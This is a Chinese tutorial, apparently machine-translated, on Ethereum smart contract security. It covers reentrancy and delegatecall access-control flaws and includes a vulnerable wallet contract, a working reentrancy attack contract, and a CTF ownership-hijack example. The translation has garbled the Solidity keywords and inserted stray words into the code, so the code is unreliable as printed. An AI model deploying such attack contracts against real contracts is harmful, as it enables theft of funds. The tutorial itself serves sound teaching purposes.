主页 > imtoken钱包官方网址 > 以太坊智能合约安全简介(第 1 部分)
以太坊智能合约安全简介(第 1 部分)
作者:RickGray(@0KEETeam)
(注:本文分为上下两部分)
最近区块链漏洞不要太热,哪些交易所用户被抓 钓鱼导致APIKEY泄露,代币合约整数溢出漏洞导致代币归零,MyEtherWallet被DNS劫持以及用户 ETH 被盗等。随着区块链安全事件的频繁爆发,越来越多的安全从业者将目标转向了区块链。经过一段时间的努力,我从以太坊智能合约的“青铜I”升到了“青铜III”。本文将从以太坊智能合约的一些特殊机制入手,详细分析已发现的各类漏洞。 ,对于每种漏洞类型,都会提供一个简单的合约代码来说明漏洞的原因和攻击方法。
在阅读本文的其余部分之前,我假设您已经对与以太坊智能合约相关的概念有所了解。如果您从开发人员的角度来看智能,它看起来像这样:
以太坊专门提供了一个叫做EVM的虚拟机供合约代码运行,同时也提供了一种面向合约的语言来加快开发者开发合约的速度。比如官方推荐使用最多的Solidity,就是一种语法类似于JavaScript的合约开发语言。开发者按照一定的业务逻辑编写合约代码并部署到以太坊,代码按照业务逻辑将数据记录在链上。以太坊实际上是一个应用生态平台。借助智能合约,我们可以开发各种应用程序并在以太坊上发布以供直接业务使用。以太坊/智能合约的概念请参考文档。
下面也以Solidity为例说明以太坊智能合约存在的一些安全问题。
我。智能合约开发 - Solidity
Solidity 的语法与 JavaSript 类似,一般很容易上手。用 Solidity 编写的简单合约代码如下
如果语法相关,建议你先看看这个教学系列(FQ)。先说一下我当初学习和复习以太坊智能合约时的困惑:
1.以太坊账户和智能合约的区别
以太坊账户有两种类型,外部账户和合约账户。外部帐户由一对公钥和私钥管理。该帐户包含以太币的余额。除了 Ether 的余额,合约账户也有特定的代码。预设的代码逻辑发送到外部账户或其他合约的合约地址。当消息或事务发生时调用和处理:
外部账户EOA
合约账户
(这里留个问题:“合约账户也有公私钥对吗?如果有,是否允许直接用公私钥对控制账户的以太坊余额?”)
简单来说,合约账户是由外部账户或合约代码逻辑创建的。预先编写好的合约逻辑用于业务交互,没有其他方法可以直接操作合约账户或更改部署的合约代码。
2.代码执行限制
初次了解 Solidity 时需要注意的一些代码执行限制:
以太坊的设置是为了防止合约代码看起来像一个“无限循环”,增加了代码执行消耗的概念。合约代码部署到以太坊平台后,EVM执行代码时,每一步执行都会消耗一定量的Gas。气体可以看作是能量。一段代码逻辑可以假设为一套“组合技能”,而外部调用者在调用合约的某个函数时,会提供一定量的 Gas。如果气量大于这套“组合技能”所需的能量,就会执行成功。否则会因gas不足而出现out of gas的异常。状态回滚。
同时在Solidity中,一个函数中的递归调用栈(深度)不能超过1024层:
合同一些{
函数循环() {
循环();
}
}
// 循环() ->
// 循环() ->
// 循环() ->
//...
//。 ..(必须小于 1024)
//...
//循环()
3. 后备函数——fallback()
在跟进 Solidity 的安全漏洞时,很大一部分与合约实例的回退功能有关。什么是回退功能?官方文档描述:
一份合约只能有一个未命名的函数。这个函数不能有参数,也不能返回任何东西。如果没有其他函数与给定的函数标识符匹配(或者根本没有提供数据),它将在调用合约时执行。
回退函数在合约实例中表示为一个无参数无返回值的匿名函数:
那么fallback函数什么时候执行呢?
当外部账户或其他合约向合约地址发送以太币时;当外部账户或其他合约调用合约不存在的功能时;
注意:关于 Solidity 的大多数已知安全问题都涉及回退功能
4.几种货币转账方式比较
在 Solidity 中,.transfer()、.send() 和 .gas().call.vale()() 都可以用来向一个地址发送以太币,它们的区别是:
.transfer()
.send()
.gas().call.value()()
注意:开发者需要根据不同的场景合理使用这些功能来实现转账功能。如果考虑到如果处理不彻底或不完整,则很可能存在漏洞被攻击者利用。
例如,在早期,许多合约使用 .失败时,仍会执行后续的代码流。
5. require 和 assert、revert 和 throw
require和assert都可以用来检查条件,不满足条件时抛出异常,但是在使用中require更倾向于代码逻辑的健壮性检查;当需要确认一些不应该发生的异常时,需要使用assert来判断。
revert and throw都标记错误和恢复当前调用,但是Solidity开始在0.4.10中引入revert()、assert()、require()函数,以及用法和原文扔;相当于revert()。
这些功能的详细解释可以参考文章。
二。漏洞现场修复
历史上关于以太坊合约的安全事件有很多,这些安全事件在当时影响巨大。合约无法继续运行,将造成数千万美元的损失。在金融领域,错误是不允许的,但从侧面看,正是这些安全事件的出现,促使了以太坊或区块链安全的发展,越来越多的人开始关注区块链。安全、合约安全、协议安全等。h 所以,经过一段时间的研究,记录一下自己了解的关于以太坊合约的几个漏洞,有兴趣的可以进一步交流。
已知的常见 Solidity 漏洞类型如下:
重入 - 重入 访问控制 - 访问控制 算术问题 - 算术问题(整数溢出和溢出) 低级调用的未经检查的返回值 - 不安全的函数调用返回值没有严格判断拒绝服务 - 拒绝服务 坏随机性 - 可预测随机处理 Front RunningTime 操作Short Address Attack - Short Address Attack Unknown Unknowns - Other unknowns
下面我将按照原理->示例(代码)->攻击来解释每类漏洞的原理和攻击方法。
1. 重入
Reentrancy,刚开始看这种类型的漏洞时,我是比较困惑的,因为从字面上看,“reentrancy”其实可以简单理解为“recursion”,那么“recursive”调用是很常见的传统开发语言中的逻辑处理方式,为什么会是Solidity的漏洞呢?如上节所述,以太坊智能合约存在一些固有的执行限制,比如Gas Limit,看下面的代码:
pragma solidity ^0.4.@ >10;
合约 IDMoney {
地址所有者;
mapping (address => uint256) balances; // 记录每个硬币
eventwithdrawLog(address, uint256);
函数 IDMoney() { 所有者 = msg.sender; }
函数 deposit() 应付 { balances[msg.sender] += msg.value; }
函数提取(地址以太坊归零事件,uint256金额){
require(balances[msg.sender] > amount);
require(this.balance > amount);
withdrawLog(to, amount); // 打印日志以便于观察重入
to.call.value(amount)(); // 使用 call.value()() 进行以太币转账时,默认所有 Gas 都会向外发送
余额[msg.sender] - = 金额;
}
function balanceOf() 返回 (uint256) { return balances[msg.sender]; }
function balanceOf(address addr) 返回 (uint256) { return balances[addr]; }
}
这段代码是为了说明重入漏洞的原理而写的。实现是一个类似于公共钱包的合约。任何人都可以将对应的Ether存入IDMoney,合约会记录合约中每个账户的资产(Ether),账户可以查询自己/他本合约中的人的余额,也可以直接提现转给其他人通过提款的帐户。
刚接触以太坊智能合约的人在分析上述代码时,应该会认为是比较正常的代码逻辑以太坊归零事件,似乎没有问题。但正如我之前所说,以太坊智能合约漏洞的出现与其自身的语法(语言)特性有很大关系。这里重点介绍withdraw(address, uint256)函数。合约提款时,通过require判断提现账户是否有对应资产,以及合约是否有足够的资金提现。(有点类似于交易所的提现判断),然后使用to.call.value(amount)();发送Ether,处理后相应修改用户的资产数据。
仔细看了第一页 有I.3的同学肯定发现了,这里的转币方法使用了call.value()()的方法,这和send()和send()这两个功能相似的函数是不一样的transfer()、call.value()()会将剩余的Gas全部交给外部调用(回退函数),而send()和transfer()将只有2300 Gas来处理转币操作。如果在进行以太币交易时,目标地址是合约地址,则默认调用合约的fallback函数(如果存在,如果没有转币,则转账失败,注意payable修改)。
上面说了这么多,很明显,在提币或者合约提币的过程中,存在递归提币问题(因为提币后资产被修改了)。攻击者可以部署包含恶意递归调用的合约,以提取公共钱包合约中的所有以太币。流程大致是这样的:
(读者可以根据上面的IDMoney合约代码直接编写自己的攻击合约代码,然后在测试环境中进行模拟)
我实现的攻击合约代码如下:
合约攻击{
地址所有者;
解决受害者;
修饰符 ownerOnly { require(owner == msg.sender); _; }
function Attack() 应付 { owner = msg.sender; }
//设置部署的IDMoney合约实例地址
function setVictim(address target) ownerOnly {victim = target; }
// 将以太币存入部署的 IDMoney
p>
function step1(uint256 amount) ownerOnly应付{
如果(this.balance > 金额){
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}
// 从部署的 IDMoney 中提取 Ether
function step2(uint256 amount) ownerOnly {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
}
// 自毁,将所有余额发送给所有者
function stopAttack() ownerOnly {
自毁(所有者);
}
function startAttack(uint256 amount) ownerOnly {
step1(金额);
step2(金额/2);
}
p>
function () 应付{
如果(msg.sender == 受害者){
// 再次尝试调用IDCoin的sendCoin函数,递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
}
}
}
使用remix-ide模拟攻击过程:
著名的以太坊硬分叉(ETH/ETC)DAO事件与重入漏洞有关,导致超过600,000 ETH被盗。
2.访问控制
访问控制,在Solidity中编写合约代码时,默认有几个变量或函数访问域关键字:private、public、external和internal,对于合约实例方法,默认可见状态为public,默认可见状态为合约实例变量是私有的。
除了Solidity中常规的变量和函数可见性描述外,这里还有两个低级调用方法call和delegatecall需要特别说明:
简单的图形表示是:
合约A以调用方式调用外部合约B的func()函数,在外部合约B的上下文中执行func()后继续返回合约A的上下文继续执行;而当A被delegatecall调用时,相当于复制了外部合约B的func()代码(其函数中涉及的变量或函数需要存在)在A的上下文空间中执行。
以下代码是OpenZeppelin CTF中的标题:
pragma solidity ^0.4.10;
合约委托{
地址公共所有者;
函数委托(地址_owner){
所有者 = _owner;
}
函数 pwn() {
所有者 = msg.sender;
}
}
合同委托{
地址公共所有者;
委托代理;
函数委托(地址_delegateAddress){
委托 = 委托(_delegateAddress);
所有者 = msg.sender;
}
函数() {
if (delegate.delegatecall(msg.data)) {
这个;
}
}
}
仔细分析代码,合约Delegation在Delegate实例的回退函数中使用了msg.data,进行了delegatecall()调用。 msg.data 是可控的。这里,攻击者可以直接使用bytes4(keccak256("pwn()"))通过delegatecall()将部署的Delegation owner变为攻击者自己(msg.sender)。
使用remix-ide模拟攻击过程:
2017年下半年智能合约钱包Parity被盗授权与delegatecall有关。
(注:本文上半部分主要讲解以太坊智能合约安全的研究基础和两类漏洞原理的实例。在《以太坊智能合约安全入门(上)》中,我将完成其他一些方面。对类漏洞的原理进行了说明,还有“自省”一节总结了我在学习和研究以太坊智能合约安全性时遇到的细节)
参考链接